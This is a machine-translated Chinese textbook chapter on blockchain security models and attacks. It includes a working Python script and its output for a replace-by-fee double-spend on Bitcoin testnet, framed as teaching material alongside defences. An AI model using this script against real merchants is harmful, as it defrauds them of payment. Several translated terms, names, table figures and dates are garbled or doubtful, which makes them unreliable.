区块链安全
在研究了区块链技术的大部分概念和应用之后,为了实现所需的安全级别,有必要讨论一下它的优点和缺点。在本章中,我们将探讨区块链技术所面临的一些重大挑战。在此过程中,我们还将指出您在区块链网络中可能遇到的攻击,以及如何防范这些攻击。
我们将在本章中探讨以下主题:
- 交易安全模型
- 分散安全模型
- 对区块链的袭击,包括:
- 双重花费攻击
- 51%的攻击
- Eclipse 攻击
- 量子计算带来的威胁
区块链技术在分散的公共网络中被采用,因为该技术提供了安全性,包括确保公共账本中存储的数据的完整性。区块链网络不太容易受到集中式网络所面临的威胁。然而,由于公共网络中多个不同组件的参与,区块链网络中的确会出现集中化。除此之外,大多数区块链平台都违背了去中心化原则,以便根据自己的需求定制应用程序。因此,区块链技术的安全性受到了影响。在本章中,我们将研究一些安全模型,并分析区块链技术的安全问题。
交易安全模型
互联网是使用各种协议相互通信的连接设备的系统。由于互联网通信的开放性,个人和团体都试图通过劫持通信来损害用户的设备或应用程序。这些人通常被称为坏演员,在互联网的任何地方都可以找到。由于互联网上通信的脆弱性,通常很难将这些不良行为者排除在任何系统之外,并且每个应用程序都实施了一个安全模型来防范不良行为者。
大多数应用程序通过加密发送端和接收端之间的流量来确保安全通信。事实上,网络上超过一半的流量是使用 HTTPS 协议加密的。由于互联网上攻击数量的增加,当您为应用程序实现安全模型时,加密流量是重中之重。这对于处理身份验证、支付或任何其他携带私人用户信息的服务的应用程序来说至关重要。
让我们考虑一个用户与在线商店进行交易的例子。该交易涉及商家网站和相应银行之间的通信。通常,商家网站使用支付网关来结算用户和商家银行之间的交易。因此,用户发起的任何交易都将通过商家的网站到达支付网关。由于交易携带私人用户信息,如银行帐户或信用卡详细信息,因此需要以安全的方式进行通信。一个叫做支付卡行业数据安全标准 ( PCI DSS )的标准被商家使用。它保护用户提供的私人信息。即使在确保安全通信之后,任何安全漏洞都有可能危及用户的数据。攻击者可以利用受损的数据窃取用户的资金,甚至窃取他们的身份,以便进行欺诈性交易。
所有现有的服务,尤其是金融服务,都是集中式的,并且严重依赖于加密流量来提供安全性。另一方面,区块链技术使用去中心化模型,并实现交易的透明性。每个交易细节必须是公开的,以便网络节点可以验证交易。向公众公开交易不会泄露任何机密的用户信息。由于这个原因,当向区块链网络广播交易信息时,用户不必加密通信。
用户使用私钥签署交易(类似于银行系统中的账户密码),并在基于区块链的平台上证明他们的身份。这是申领资金和创建交易所需的唯一秘密信息。除了私钥之外,没有任何东西可以证明用户的身份,因为用户在区块链网络上没有真实的身份。
如果用户丢失了他们的私钥,就相当于丢失了他们所有的资产。用户必须保护他们的私钥,从而保护他们的身份和资金。总的来说,区块链安全模式有其利弊。我们将在下一节讨论安全模型的一些风险和好处。
安全模式的风险
拥有私钥就足以声称拥有在区块链创建和注册的资产的所有权。虽然私钥消除了在执行交易时维护多个文档以证明用户身份的负担,但是它们增加了对私钥的严格安全性的需求。用户不能丢失他们的私钥,因为这是区块链中唯一的身份证明。这意味着用户必须保护他们的私钥,这些私钥通常存储在钱包里。用户将不得不用某种加密来保护私钥,以防止攻击者的攻击。然而,与传统交易模式相比,该系统存在一些主要风险,包括:
-
在数百个应用程序可以访问设备存储的设备上存储私钥信息是不安全的。
-
由于攻击者通常配备了双因素身份验证系统,因此即使获得了对银行或信用卡详细信息的访问权限,他们仍将不得不实施进一步的攻击。然而,在区块链平台中,攻击者只需提取私钥。
-
集中式服务可以帮助客户即使在通过使用手动验证丢失机密信息后也能要求其受保护的资产,而在分散式区块链应用程序中,由于没有第三方参与,私有信息无法恢复。
保护区块链应用程序中的私人信息是用户的唯一责任。用户可以采用各种方法来保护用户私钥钱包,包括:
-
在不同的设备上创建多个私钥备份
-
将包含私钥的设备与互联网隔离
-
将私钥存储在硬件和纸质钱包中
-
扫描用于存储恶意程序密钥的设备
注意:生成可以存储在物理文档中的私钥所需的信息称为纸质钱包。纸质钱包是备份私钥最安全的方式,因为它与电子设备和网络都是隔离的。
分散安全模型
区块链应用围绕去中心化原则。分散化是在连接起来形成对等网络的同等负责的节点的帮助下实现的。对于大多数区块链节点(如果不是全部的话)来说,展示相似的功能以实现纯粹的分散式网络是至关重要的。这可能是一项具有挑战性的任务,因为在公共网络中没有权力对节点的功能实施严格的规则。许多区块链网络被迫集中化以提高性能或与现有的集中化实体集成。这使得分散式系统面临现有集中式系统已经面临的潜在问题。我们将讨论一些导致集中化和暴露分散网络的潜在威胁的实体。
加密货币交易所带来的集中化
比特币流行后不久,就有几种加密货币问世。由于加密货币越来越受欢迎,人们需要一个可以购买、出售和兑换货币的实体。该实体以类似于股票交易所的方式行事,人们发出请求和出价。人们开始信任交易所代表用户维护他们的私钥。
大多数加密货币交易所将用户的私钥保存在一台服务器上。他们将大部分关键信息存储在连接到互联网的设备上。这迫使 exchange 帐户持有者信任 exchange 服务器的安全性。用户帐户的安全性在很大程度上依赖于这些服务器实现的安全性。这与区块链技术的分散式安全模型相反,因此它为入侵者利用传统方法攻击 exchange 服务器提供了机会。
存储在连接到互联网的设备上的加密货币钱包被称为热钱包。交易所将大部分硬币储存在高温仓库中,这样就可以立即取款。
Mt. Gox
Mt. Gox 是一家日本加密货币交易所,它面临着加密货币历史上最大的黑客攻击。2011 年,Mt. Gox 服务器遭到攻击,大约 850,000 个比特币(当时价值 4.5 亿美元)在其热钱包存储被侵入后被盗。虽然交易所能够找回一些比特币,但大多数比特币永远丢失了。最终,在 2014 年 2 月,该公司申请破产。
比特芬 ex
2016 年 8 月,大约 12 万枚比特币从 Bitfinex 钱包中被盗。Bitfinex 将他们所有客户的比特币资金减少了 36%,包括钱包没有受损的客户。新铸造的 BFX 代币按照客户的损失比例存入他们的账户。由于这些代币在任何其他交易所都没有任何内在价值,他们承诺最终回购这些分发的代币。
Bitfinex 与一种名为 Tether 的有争议的加密货币令牌有关,其交易代码为 USDT。Tether 声称拥有每发行一个 Tether 令牌的美元。Tether 因其固定价值而受欢迎,这有助于交易所之间的顺利交易。
共轨
在撰写本文时,最近的一次黑客攻击发生在 2018 年 6 月的 Coinrail 上。这是韩国最小的交易所之一,但交易率很高。各种 altcoin 钱包被攻击,当时估计损失了 3700 万美元。
采矿池集中化
采矿对于任何基于区块链平台的工作证明都是至关重要的。由于激励机制,采矿生态系统有了显著增长。网络中具有挖掘功能的节点具有与常规节点不同的能力。有的算力高,有的算力有限。具有更高计算能力的挖掘节点对块创建过程的贡献更大,因此获得更多激励。这通常会阻碍计算能力较低的节点参与挖掘操作。一种叫做采矿池的特殊技术被创造出来解决这个问题。每个人都可以贡献自己的计算资源。
人才库中的所有参与者都根据他们的贡献获得了奖励。采矿池允许在采矿节点之间公平分配激励。然而,它通过集中计算能力引入了新的安全威胁。
大多数区块链平台中的区块生成由采矿池控制。图 10.1 显示以太网中的矿池分布。前三大矿池构成了超过 50%的采矿能力:
图 10.1:2018 年基于 24 小时矿电的以太坊网络中的矿池分布
同样,图 10.2 显示,比特币网络中的四大矿池合起来拥有大部分的矿权:
图 10.2:2018 年基于 24 小时矿权的比特币网络中的矿池分布
计算资源的集中在分散网络中通常是一种威胁,因为它们可以控制块创建过程。如果挖掘池有足够的计算能力,一个不诚实的节点可以发起 51%的攻击。虽然 51%的攻击在一个完全分散的网络中似乎不现实,但在挖掘池的帮助下实现这一点是可行的。我们将在本章的后面部分深入探讨 51%攻击。
对区块链的袭击
由于安全问题,每个应用程序都容易受到某种攻击。但是由于其安全模型,区块链平台的安全问题与传统应用程序的安全问题非常不同。在集中式系统上执行的大多数攻击不适用于基于区块链的应用程序。区块链应用程序的分散模型使得发现漏洞变得困难。与传统数据库不同,区块链数据是通过在网络节点之间达成共识来创建的,因此,危及区块链网络的唯一方法是找到共识机制中的漏洞。
有许多方法可以阻止网络达成有效共识。但是,攻击不会在所有区块链平台上都成功。像比特币这样有弹性的网络不容易受到大多数攻击,但只有少量参与者的区块链网络可能会被有经验的入侵者破坏。在本节中,我们将讨论对区块链网络的一些可行的攻击。
双重花费攻击
双重花费攻击是指同一笔资金被花费两次或多次。一种实物货币,如纸币,不能花两次,除非创造一个副本,这是昂贵的。另一方面,数字货币可以很容易地被复制而没有任何成本,因为它们是以比特为单位复制和传输的。在图 10.3 中,爱丽丝向她所有的朋友发送了同样价值 10 美元的数字货币。如果她的朋友不知道其他交易,他们会认为他们的 10 美元都是合法的:
图 10.3:Alice 重复花费资金
重复消费是一个众所周知的问题,它阻碍了数字货币在分散网络中的使用。比特币率先为这个问题提供了切实可行的解决方案。然而,有几种攻击仍然可以利用区块链网络的一些弱点来执行双重花费。种族攻击、芬尼攻击、51%攻击和 eclipse 攻击是能够在分散网络中实现双重花费的一些攻击。这些都可以通过确保交易深埋在区块链来避免。每次确认区块链中的冻结后,撤销交易的机会就会减少。这就是为什么比特币建议资金接收者应该等待至少六次大宗交易确认。
在分散式网络中,最简单的攻击之一就是竞争攻击。竞争攻击是零确认攻击,只能在事务被包含在块中之前执行。在这次攻击中创建了两个冲突的事务。一笔交易将向受害者付款,第二笔交易将向攻击者返还相同的资金。竞争攻击是通过仅向受害者发送第一个事务,并向网络的其余部分广播第二个事务来实现的。第二个事务可能在原始事务之前的块中结束,从而在验证竞争中击败实际事务。在等待确认之前就接受交易的商家都有可能成为这种攻击的受害者。这是比特币交易的安全性和速度之间的权衡问题。只有比特币等确认时间较长的区块链平台的用户,才会因为漫长的等待而暴露于零确认攻击。
一些矿商根据交易费用对交易进行优先排序。这种优先级划分也可能被用来制造双重花费攻击。在本节中,我们将构建一个脚本,通过对交易进行优先级排序来模拟比特币网络中的双重消费攻击。
比特币交易中的重复消费
我们将使用一个名为python-bitcoinlib
的 Python 包,它有一组库,提供了比特币数据结构的接口,可以访问比特币客户端 API。它通过 RPC 接口调用比特币客户端的方法。
所有需要的函数和数据结构都是从bitcoin
模块导入的,如下所示:
from bitcoin import SelectParams
import bitcoin.rpc
import math
import time
from bitcoin.core import b2x, b2lx, str_money_value, COIN,
CMutableTransaction, CMutableTxIn, CMutableTxOut
from bitcoin.wallet import CBitcoinAddress
选择一个链来创建连接。该链可以是 mainnet、testnet 或 regtest。我们将使用比特币的测试网络进行模拟。创建 RPC 连接对象是为了使用客户端 API:
SelectParams('testnet')
rpc = bitcoin.rpc.Proxy()
应该创建一个比特币核心守护进程,通过使用testnet
参数bitcoind -daemon -testnet
运行bitcoind
来连接到 testnet 区块链。关于比特币的更多配置细节,请参考第五章、加密货币。
在创建事务之前声明一些值。dust_amount
值是一个交易中可以包含的最小交易输出值。如果输出值小于dust_amount
值,矿工将拒绝交易。在下面的代码中,硬币的值是 10 8 (1 亿,即 1 个比特币中的智数)。声明第一次和第二次交易的每字节交易费用。双重花费交易将有较高的交易费用以增加优先级:
dust_amount = int(0.0001 * COIN)
feeperbyte1 = 0.000011 / 1000 * COIN
feeperbyte2 = 0.001 / 1000 * COIN
opt-inReplace-by-Fee(RBF)是比特币中提供的一个选项,允许用不同的交易来替代交易。一旦事务被放入事务池,一些挖掘器就不允许替换事务。通过选择小于 MAX-1 的序列号,事务被标记为可替换:
optinrbf = True
tx1_nSequence = 0xFFFFFFFF-2 if optinrbf else 0xFFFFFFFF
tx2_nSequence = tx1_nSequence
创建支付给受害者地址n4Wux6bCxwFPvj7BYNb8REvtahhJ9fHJFv
的 0.1 比特币 ( BTC )的支付。创建两个事务输出,一个值为 0.1,另一个是通过创建新地址返回的更改输出。在交易输入被选择之前,该变化最初被设置为 0。在本例中,CMutableTransaction
、CMutableTxOut
和CMutableTxIn
事务对象分别用于创建事务、事务输出和事务输入,因为它们是可变的:
payment_address = CBitcoinAddress("n4Wux6bCxwFPvj7BYNb8REvtahhJ9fHJFv")
payment_txout = CMutableTxOut(int(0.1 * COIN),
payment_address.to_scriptPubKey())
change_txout = CMutableTxOut(0,
rpc.getnewaddress().to_scriptPubKey())
tx = CMutableTransaction()
tx.vout.append(change_txout)
tx.vout.append(payment_txout)
创建第一个事务
通过选择将满足所需交易价值(0.1 BTC)和交易费用的未用交易来构建交易输入。
代码中的while
循环只有在创建了足够的输入值来满足输出值和交易的最小交易费用后才终止。delta_fee
代表满足交易费用所需的额外费用。如果是正值,则从value_out
中减去delta_fee
,否则加上:
value_in = 0
value_out = sum([vout.nValue for vout in tx.vout])
unspent = sorted(rpc.listunspent(1), key=lambda x: x['amount'])
while (value_in - value_out) / len(tx.serialize()) < feeperbyte1:
delta_fee = math.ceil((feeperbyte1 * len(tx.serialize())) - (value_in - value_out))
if change_txout.nValue - delta_fee > dust_amount:
change_txout.nValue -= delta_fee
value_out -= delta_fee
如果输入值小于输出值,则选择新的未用完交易输出用于花费。为新选择的未用输出创建交易输入,并且将金额添加到交易输出变化中。每次对事务进行签名以更新scriptSig
,以便在每次迭代中更新事务的大小:
if value_in - value_out < 0:
new_outpoint = unspent[-1]['outpoint']
new_amount = unspent[-1]['amount']
unspent = unspent[:-1]
print('Adding new input %s:%d with value %s BTC' % \
(b2lx(new_outpoint.hash), new_outpoint.n,
str_money_value(new_amount)))
new_txin = CMutableTxIn(new_outpoint, nSequence=tx1_nSequence)
tx.vin.append(new_txin)
value_in += new_amount
change_txout.nValue += new_amount
value_out += new_amount
r = rpc.signrawtransaction(tx)
assert(r['complete'])
tx.vin[-1].scriptSig = r['tx'].vin[-1].scriptSig
在将事务发送到网络之前,该事务最终被再次签名。理想情况下,该事务仅发送到竞争攻击中的受害节点。我们在本例中广播了该交易,因为我们将通过为双重花费交易创建更高的优先级来替换该交易:
r = rpc.signrawtransaction(tx)
assert(r['complete'])
tx = CMutableTransaction.from_tx(r['tx'])
print('Payment raw transaction %s' % b2x(tx.serialize()))
print('Payment raw transaction size: %.3f KB, fees: %s, %s BTC/KB' % \
(len(tx.serialize()) / 1000,
str_money_value(value_in-value_out),
str_money_value((value_in-value_out) / len(tx.serialize()) * 1000)))
txid = rpc.sendrawtransaction(tx)
print('Sent payment with txid: %s' % b2lx(txid))
创建重复消费的交易
可重复消费的交易与第一笔交易具有相同的价值,但是具有不同的接收方地址。通过将整个资金返还给攻击者来逆转资金转移。除了携带变化的事务输出之外的所有事务输出都从事务中移除。由于更改交易输出是发给攻击者的,所以整个资金值都被分配给这个输出交易。
使用与前面类似的过程来计算整个交易的费用。在计算交易费用时,使用较高的每字节交易费用feeperbyte2
:
tx.vout = tx.vout[0:1]
change_txout = tx.vout[0]
value_out = value_in
change_txout.nValue = value_out
while (value_in - value_out) / len(tx.serialize()) < feeperbyte2:
delta_fee = math.ceil((feeperbyte2 * len(tx.serialize())) - (value_in - value_out))
if change_txout.nValue - delta_fee > dust_amount:
change_txout.nValue -= delta_fee
value_out -= delta_fee
if value_in - value_out < 0:
new_outpoint = unspent[-1]['outpoint']
new_amount = unspent[-1]['amount']
unspent = unspent[:-1]
print('Adding new input %s:%d with value %s BTC' % \
(b2lx(new_outpoint.hash), new_outpoint.n,
str_money_value(new_amount)))
new_txin = CMutableTxIn(new_outpoint, nSequence=tx2_nSequence)
tx.vin.append(new_txin)
value_in += new_amount
change_txout.nValue += new_amount
value_out += new_amount
r = rpc.signrawtransaction(tx)
assert(r['complete'])
tx.vin[-1].scriptSig = r['tx'].vin[-1].scriptSig
一旦所有的交易输入被添加到交易中,交易被签名并被广播到网络:
r = rpc.signrawtransaction(tx)
assert(r['complete'])
tx = r['tx']
print('Double-spend raw transaction %s' % b2x(tx.serialize()))
print('Double-spend raw transaction size: %.3f KB, fees: %s, %s BTC/KB' % \
(len(tx.serialize()) / 1000,
str_money_value(value_in-value_out),
str_money_value((value_in-value_out) / len(tx.serialize()) * 1000)))
txid = rpc.sendrawtransaction(tx)
print('Sent double-spend txid: %s' % b2lx(txid))
为双重消费创建的交易将由一个发送给攻击者的交易输出组成。由于交易费用较高,此交易将取代之前创建的交易。两个事务的原始事务和事务 ID 显示在以下输出中:
Adding new input 727ae80da7fc81db0304af0324907cb28d32666a6cc8a5813021ec8350a8e05f:0
with value 0.799808 BTC
Payment raw transaction
01000000015fe0a85083ec213081a5c86c6a66328db27c902403af0403db81fca70de87...
Payment raw transaction size: 0.225 KB, fees: 0.00000249, 0.00001106 BTC/KB
Sent payment with txid: f52961ddb5881c4f5a10ca3625c978997ed46dd03da0787acb8f26e36e5e686f
Waiting for 2 seconds before double spending
Double-spend raw transaction
01000000015fe0a85083ec213081a5c86c6a66328db27c902403af0403db81fca70de87...
Double-spend raw transaction size: 0.191 KB, fees: 0.000191,
0.00099479 BTC/KB
Sent double-spend txid:
8660fc74668ea2e1fe32d2381c8f6b2512e4418677b63cecab8d7f66b5a162a4
在广播第二个事务之前,第一个事务将被存储在所有节点的事务池中。等待两秒钟后,创建并广播第二个事务。图 10.4 显示了第一笔交易信息。0.1 BTC 支付给受害者的地址,其余的支付回攻击者的地址:
图 10.4:第一笔交易的交易明细(来源: blockchain.info )
这第一个事务在网络中只能用秒钟。一旦第二个事务到达节点,它将在事务池中被替换。图 10.5 显示了替换初始未确认交易的交易信息。这个交易只有一个交易输出,把整个资金还给攻击者。一旦事务被包含在块中,它就成功地完成了双重花费攻击。当图 10.5 中的交易得到确认时,它重复花费相同的资金:
图 10.5:双消费交易明细(来源: blockchain.info )
许多商家通过等待最小数量的块确认或拒绝可替换的交易(选择加入 RBF)来避免双重花费攻击。但一些比特币商家仍然接受支付,即使交易未经确认。这种实体很容易被类似的双重花费攻击所攻击。
背景阅读:本节中使用的双重花费的例子是受 Peter Todd 的一个项目的启发。参考 https://github.com/petertodd/replace-by-fee-tools 的项目,了解更多关于双重花费攻击的信息。
51%的攻击
如果网络中的一个参与者能够控制超过 50%的达成创建块的共识所需的资源,则该参与者可以操纵块创建机制。51%攻击可以在任何共识算法上执行,但它通常用于基于工作证明的区块链网络。
在基于 PoW 的网络中,如果不诚实的参与者能够控制网络中的大多数计算资源,即超过 50%的计算资源,则块创建过程可以被不诚实的节点操纵。中本聪在比特币白皮书中也提到了与 51%攻击相关的可行性信息。
袭击的影响
当一个节点控制了网络的大部分计算能力时,它比网络的其余部分更有机会创建新块。当攻击者获得大部分计算能力时,攻击者就可以控制事务的排序、包含和排除。这并不意味着攻击者可以用无效的交易来污染区块链。由于网络中的所有节点都验证区块链中包含的事务,因此其他网络节点将检测到无效事务,并且这些块将被丢弃。攻击者能够在区块链中引起以下并发症:
-
延迟部分或全部有效交易的确认
-
阻止其他矿工开采有效区块
攻击者不会导致以下任何并发症:
-
从其他账户窃取或错放交易
-
延迟有效事务的广播
以上几点证明,即使攻击者控制了大部分计算,他们也没有多少机会破坏区块链上的信息。攻击者从这种攻击中获利的唯一方式是通过多次消费来操纵他们的交易。正如我们在本章前面所看到的,这是一种对分散式网络的典型攻击,称为双重花费攻击。双重消费攻击基本上是通过撤销区块链上的交易,将相同的金额消费两次。由于块的创建是由攻击者控制的,事务可以很容易地被逆转。攻击者即使在执行了几次双消费之后也可能不会受益太多,尽管他们可以通过在许多帐户上进行双消费交易来利用攻击,这些帐户的私钥可以从热门钱包(如交易所)中窃取。虽然同时进行攻击是不可行的,但也不是不可能的。
与从攻击中获得的利润相比,控制网络的大部分计算能力是非常昂贵的。因此,诚实行事并从有效的大宗交易创造中获得激励,总是比为了少量利润而操纵交易更有利可图。然而,51%的攻击可能是由一些人执行的,他们的意图不是为了获利,而是出于各种原因来击败共识系统。
一些弹性平台,如比特币、以太坊和莱特币,不容易受到这些攻击。攻击较小的硬币更容易,因为它们的网络大部分计算份额可以很容易地买到。表 10 .1 比较了几种基于 PoW 的加密货币网络的攻击成本:
| 名字 | 算法 | 哈希速率(哈希数/秒) | 1 小时攻击成本 | | 比特币 | SHA-256 | 45,208 PH/s | $745,462 | | 以太网〔t1〕 | Ethash | 第 241 次/秒 | $325,102 | | lit coin | Scrypt | 第 280 次/秒 | $50,877 | | zencash | 等哈希 | 95 英里/秒 | $5,999 | | 比特币私有 | 等哈希 | 4 MH/s | $270 |
表 10.1:各种基于 power 的加密货币网络的攻击成本比较
注意:Hash per second 是用于确定区块链节点哈希速率的单位。在表 10.1 、每秒千万亿次哈希 ( PH/s )、每秒万亿次哈希 ( TH/s )和每秒兆次哈希用于测量哈希速率。
表 10.1 显示,比特币、以太坊、莱特币等需要高杂凑率(难度)来计算 PoW 杂凑难题的货币,比 ZenCash 或比特币 Private 等低杂凑率网络的攻击成本更高。
尽管执行这种攻击实际上是不可行的,但在小型加密货币网络上已经出现了几次这种攻击。在 2018 年初,比特币核心项目的一个分支比特币黄金(Bitcoin Gold)目睹了一次试图从交易所窃取资金的双重支出攻击,此前攻击者控制了大部分哈希权力。Verge 和 MonaCoin 是区块链网络受到 51 %攻击的其他货币。
躲避攻击
避免在 51%的攻击上重复花费的最好方法是增加等待时间。等待的时间越长,重复消费的可能性就越小。久而久之,这笔交易将被埋没在区块链,使交易难以逆转。这可以通过在交易被包括在块中之后等待特定数量的块插入(确认)来确保。每个区块链平台都有自己建议的确认次数。建议的比特币区块确认为 6,这意味着交易被纳入区块后需要等待 60 分钟左右的时间。
Eclipse 攻击
到目前为止,我们已经探索了对区块链网络共识的可能攻击。但是网络攻击大多被忽略,因为很难击败使用对等协议的分散式网络。这并不意味着对对等网络的攻击是不可能的。在 eclipse 攻击中,攻击者使节点从网络中消失。攻击者确保该节点不会与区块链网络通信。在节点受到攻击后,节点会相信与网络其余部分完全不同的事实。通常,eclipse 攻击是在引人注目的区块链节点上执行的,比如矿工或商人。
eclipse 攻击是由计算机安全研究人员 Ethan Heilman、Alison Kendler、Aviv Zohar 和 Sharon Goldberg 在 2015 年提出的。他们发表了一篇 Usenix 安全论文,题为 Eclipse 对比特币对等网络的攻击。这篇论文解释了比特币点对点网络受到攻击的可能性。虽然攻击主要集中在比特币上,但它也可以在另一个区块链平台的点对点网络上进行。另一篇名为对以太坊对等网络的低资源 eclipse 攻击的论文发表于 2018 年,分析了以太坊网络中 Eclipse 攻击的可行性。我们将在第一篇文章的基础上研究 eclipse 攻击的细节。
在区块链网络中,对等方使用 gossip 协议建立初始连接并交换信息。每个节点从连接的节点了解网络中的对等节点。在 eclipse 攻击中,攻击者通过不谈论其他节点来防止受害者了解网络的其他部分。攻击者节点直接连接到受害者节点,如图图 10.6 所示。这种攻击看起来类似于集中式网络中客户端和服务器之间的中间人攻击。在接下来的章节中,我们将假设攻击发生在比特币的 PoW 生态系统中,以理解和分析 eclipse 攻击:
图 10.6:攻击者在 eclipse 攻击中的位置
遮蔽节点
一个比特币节点最多可以有 8 个传出连接和 117 个传入连接。由于对传出连接的数量有限制,攻击者可以强制受害者单独建立与攻击者创建的恶意节点的连接:
图 10.7:对等网络中具有传出和传入连接的比特币节点
这在理论上看起来很容易;然而,迫使受害者仅创建到恶意节点的连接需要的不仅仅是单步攻击。攻击者必须了解并操纵受害者的连接信息,才能操纵用户的传出连接。比特币节点在对等表中存储传出连接信息。对等表被组织成地址桶。用攻击者的 IP 地址填充这些桶是攻击背后的想法。攻击者将利用比特币核心中的几个漏洞来实现这一点。一旦对等表中充满了攻击者的节点信息,受害者只会在节点重新启动后尝试连接到攻击者的节点。
比特币有两组不同的存储对等信息的桶:一组新桶和一组已尝试的桶。新桶由新可用的对等体的地址组成,而尝试过的桶存储已经连接的对等体的地址。当一个节点第一次连接到一个对等点时,它会将对等点的信息和时间戳一起添加到 tried bucket 中。连接的对等体将已知的对等体信息传递给节点,节点将这些信息存储在新的桶中。当节点连接到攻击者的设备时,它将发送关于恶意对等体的信息,以便节点将这些地址存储在新的桶中。
当节点成功建立新连接时,它会将 IP 地址添加到 256 个已尝试的桶中的一个。它随机选择一个桶,但根据网络 ID 和完整的 IP 地址随机选择。这在向新桶添加 IP 地址的情况下也是一样的。可以利用比特币节点的各种漏洞来确保桶中的大多数地址是攻击者的地址。在漏洞和对策部分指出了比特币节点的几个漏洞。
攻击的含义和分析
因为 eclipse 攻击是在网络层上执行的,所以它也可以破坏共识层的安全性。当节点的对等协议被破坏时,对共识层的任何攻击都可能更有效。当执行 eclipse 攻击时,可以在攻击者不拥有大部分计算能力的情况下执行 51%的攻击,或者甚至在几次块确认之后执行双花费攻击。
即使在 n 次确认之后,攻击者也可以简单地通过遮蔽一小部分挖掘者和受害者节点来重复花费交易。攻击者可以花费一笔资金,并将其转发给黯然失色的矿工。当挖掘器在块中包括这个时,攻击者向受害者节点显示这个区块链。受害者看了确认的交易后深信不疑。攻击者还会转发一笔交易,重复使用同一笔资金。当攻击者从受害者那里完成购买后,他们向黯然失色的矿工和受害者展示了真实的区块链,从而使他们的区块链变得过时。
在图 10.8 中执行了双重花费攻击。攻击者让一个控制 30%矿力的矿工和受害者黯然失色。攻击者花费一笔资金,并将交易发送给黯然失色的矿工。
黯然失色的受害者只看到这个版本的区块链。然后,攻击者花费相同的资金,并创建一个被网络其余部分看到的交易。由于这个网络控制了大部分(70%)的矿业力量,它将创造一个更长的区块链,使黯然失色的矿工的区块链过时:
图 10.8:通过遮蔽受害者节点的双重花费攻击
如果攻击者是矿工,他们可以在不拥有网络 51%计算能力的情况下发动 51%的攻击。这可以通过防止诚实的矿工控制大部分计算能力来实现。攻击者可以从网络的其余部分掩盖一些矿工,这将阻止矿工在彼此创建的块上构建块。这将阻止诚实的矿工拥有生产区块的大部分权力。这样会增加矿力不到 51%的攻击者发动 51%攻击的几率。图 10.9 显示一个拥有 40%矿权的攻击者让两个矿工黯然失色,每个矿工只控制网络中 30%的矿权。现在,攻击者拥有大部分的采矿权,他们有更好的机会结束一个比其他矿工更长的链,他们彼此孤立。每个不知道网络其余部分的矿工将继续建造他们自己版本的区块链。攻击者可以随时将他们的区块链发布到网络上,从而淘汰其他版本的区块链:
图 10.9: 51%的攻击使用不到 50%的采矿力量
尽管 eclipse 攻击看起来不现实,但实际上并非如此。在僵尸网络的帮助下,巧妙的攻击可以很容易地危及没有实现额外网络安全层的节点。发表的论文Eclipse Attacks on bit coin ' s Peer-to-Peer Network解释了 Eclipse Attacks 在不同场景下发生的可能性。使用僵尸网络进行的实验产生了以下结果:
- 最坏的情况是通过用诚实节点的地址填充尝试过的桶槽来创建的。对总共 4600 个 IP 地址进行了 5 小时的攻击。虽然尝试的桶槽最初大部分是用诚实节点的地址填充的,但在攻击后,98.8%的桶槽被替换为攻击者的地址。攻击的成功率是 100%。
- 在只有 7%的尝试地址槽填充了合法地址的活动比特币节点上执行了攻击。攻击是用 400 个 IP 地址攻击模拟的,攻击只投入了 1 个小时。在攻击之后,tried 表中填充了大约 57%的攻击者地址。这次攻击的成功率为 84%。
漏洞和对策
攻击者必须利用一些漏洞用自己的地址替换合法的对等地址。比特币节点中可被利用的一些漏洞如下:
- 节点从具有最近时间戳的尝试桶中选择 IP 地址,这增加了攻击者被选择的概率,即使攻击者拥有尝试桶地址的一小部分。攻击者可以通过增加攻击时间来增加几率。
- 每当地址桶被填满时,其中一个地址会被随机删除。由于删除的地址是随机的,如果攻击者的 IP 从桶中删除,通过重复发送到节点,它最终可以被插入。
攻击者可以利用这些提到的漏洞。然而,这些漏洞可以通过在与对等方闲聊时改变比特币节点的行为来避免:
- 从 tried 表中选择 IP 地址可以是随机的,这将减少选择攻击者对等体的机会,即使它是最近连接的。如果对等体选择是随机的,攻击者即使在攻击中投入大量时间也不会成功。
- 如果使用确定性方法将对等体的地址插入到固定的槽中,将会减少攻击者被逐出桶后将攻击者的地址插入到不同槽中的机会。确定性插入将确保地址的重复插入不会给攻击增加任何价值。
比特币的大部分漏洞已经被修复。但是由于公共区块链网络和大多数区块链组织遵循的开源文化,攻击者将很快找到漏洞。
量子计算的威胁
量子计算是涉及量子理论的计算领域。我们知道,任何一种计算的每一个结果都用 0 和 1 来表示,即比特。另一方面,量子计算使用量子位(量子位)而不是位,它同时显示几个状态,而不是互斥的。这种技术进步会极大地影响现有计算系统的性能。
量子计算获得的性能优势可用于解决复杂的计算问题,包括只能通过暴力攻击破解的密码算法。我们已经知道,区块链技术在密码原语的帮助下实现了大部分功能。哈希和非对称加密是区块链技术中使用的两个主要原语,在第 2 章、一点加密中讨论过。
哈希原语是一致性算法 PoW 哈希难题的基础。解决哈希难题的困难在于区块链是不可变的。如果量子计算可以提供更快的暴力方法来计算哈希或打破一些现有哈希算法的单向属性,即使不执行前面提到的任何攻击,公共账本也可以很容易地被攻破。但基于 PoW 的区块链网络(尤其是比特币)越来越困难,至少在几年内阻止了对共识算法的任何威胁。
使用非对称加密技术的数字签名在区块链应用中广泛使用。量子计算对非对称加密是一个巨大的威胁,在非对称加密中,私钥可以从公钥计算出来。由于整个互联网安全依赖于非对称或对称加密,威胁不仅限于区块链技术。面对量子计算的威胁,数字签名和加密技术将随着时间的推移而发展。
量子计算的威胁是真实存在的,许多小组一直致力于解决任何可能对区块链技术的威胁。NEO 区块链承诺了一种量子安全(NeoQS)加密机制,该机制使用基于晶格的加密机制。量子计算也激励了许多社区去尝试非区块链的解决方案,比如 Hashgraph 和 DAG。很明显,量子计算将对区块链技术构成一些威胁,但可能不是在不久的将来。区块链技术将随着时间的推移而发展,以确保在时机到来时对抗量子计算的安全性。
摘要
本章探讨了区块链技术的各个安全方面。我们在本章开始时讨论了该技术的一些安全模型。还讨论了与交易所和采矿联营引起的集中化有关的一些问题。对区块链网络的各种类型的攻击,如双重花费攻击,51 %攻击,和 eclipse 攻击进行了深入的分析。我们一起讨论了如何安全地设计和部署区块链平台。
在下一章中,我们将看看区块链技术的实现是如何在大多数使用案例中被虚假宣传的,并分析为什么区块链技术没有给大多数应用增加价值。